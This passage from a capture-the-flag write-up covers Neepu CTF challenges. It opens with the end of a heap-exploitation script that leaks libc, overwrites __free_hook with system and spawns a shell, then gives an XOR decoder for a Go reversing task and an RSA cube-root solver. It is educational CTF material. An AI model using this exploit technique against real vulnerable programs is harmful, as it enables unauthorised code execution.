io.sendline(str(index))
io.recvuntil("Enter Context > ")
io.send(content)
for i in range(8):
add(0x79,b'/bin/sh\x00')
for i in range(7):
delete(i+1)
delete(0)
add(0x20,cyclic(0x8))
show(8)
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1ebc60
success("libc_addr :"+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook']
payload = p64(0x100)*2+p64(free_hook)
add(0x18,payload)
system_addr = libc_addr + libc.sym['system']
edit(5,p64(system_addr))
add(0x20,b'/bin/sh\x00')
delete(10)
io.interactive()

Re

Xor

go逆向,根据字符串+内存断点+动调=定位到关键调用处,无法F5




找到了密文
xor 操作

1
2
3
4
key = "qwer"
a = [0x3F, 0x12, 0, 0x2, 0x4, 0x0C, 0x3D, 0x42, 0x3, 0x28,0x0C, 0x1, 0x2E, 0x12, 0x4, 0x1, 0x8, 0x28, 0x54, 0x40,0x42, 0x43, 0x54, 0x40, 0x42, 0x43, 0x54, 0x40, 0x42, 0x43,0x50, 0x0F]
for i in range(len(a)):
print(chr((a[i])^ord(key[i%len(key)])),end="")

Crypto

FunnyRSA

面向chatgpt解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import long_to_bytes
import gmpy2

# 这里假设n, c1, c2已经赋值
n = 508480854372756755913791101745305762457517298159680989644747340327036977578527505318324958633232739687251409520866901608437945927574543155971443209922394847753303798988837755432365056098925797113097436966052676591464802061455795339989784949253878654243424430112737855583276666468348152646780267313723933052043652043457805179867064143032058107197027709609118240936819964179830722897401341043667501298533160902654255596452348828855631402136248161345374217307571507612687845128249648000080509946611349654016724007920186542131491886281036913471846314065665956824568534254734060468248256266109011728508043378818494008953002180704766570040343479609214117050941617109009620565019399761765253703071237034374358239723604390448411521487409469419576049566386525066685041905464761757345225778527338430347014422459954532168552493706796761693553297732745470452288495224654530482329002451540376107539184656257369225752541361996356642232449580990809290287044068126307915255465596308681516279323181254599943979030260297865604529605690218915679197797309258313924963034175283390070634287196300753230812822254122160704736109171545494720552113142650620106205647711854004731168393093254452512276389945341818288720153371447538338764655583233355044033698253
c1 = 1811190934126864017324358781557112607374925418749516169609783406151778537247582927245777048528376193187995730195136886128337489858508361912939739791856453029029472008503849636323475596821894021085406391087644300429282015652303512547583242875798709634440100351468653278854842376234162516591017755925768811542318681182791159664625408669418924102547889582147686273287037619637618739708338600060067635958832146122636281342410738805977631878905617340110767089538025585058506632889042141695774769826454213414615721715636679099281147824773004445559938086334729812819928608583224897377
c2 = 1811190934126215446529071930741680264692977139619905040341005151859262108274517137265678557572492828489893194367167654758053594788011553732879515384560058991329510784064663694630185446691719067568301787531371222824387708333506516529733748678922237489408939959514323606685743623252207828521187611779499933755917362989498814533543187953292778103169396201846967129948852571401049722315868171878019092456148722460556718133719135760731272749757567134824207749502257733682109147655913082871175866165600126790860696667477234801385030312215992287472679447108548071925392484907398967137

def cube_root(n):
low = 0
high = n
while low < high:
mid = (low + high) // 2
if mid**3 < n:
low = mid + 1
else:
high = mid
return low

m1 = cube_root(c1)
m2 = cube_root(c2)

m1_str = long_to_bytes(m1)
m2_str = long_to_bytes(m2)

print(m1_str)
print(m2_str)

image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#Neepu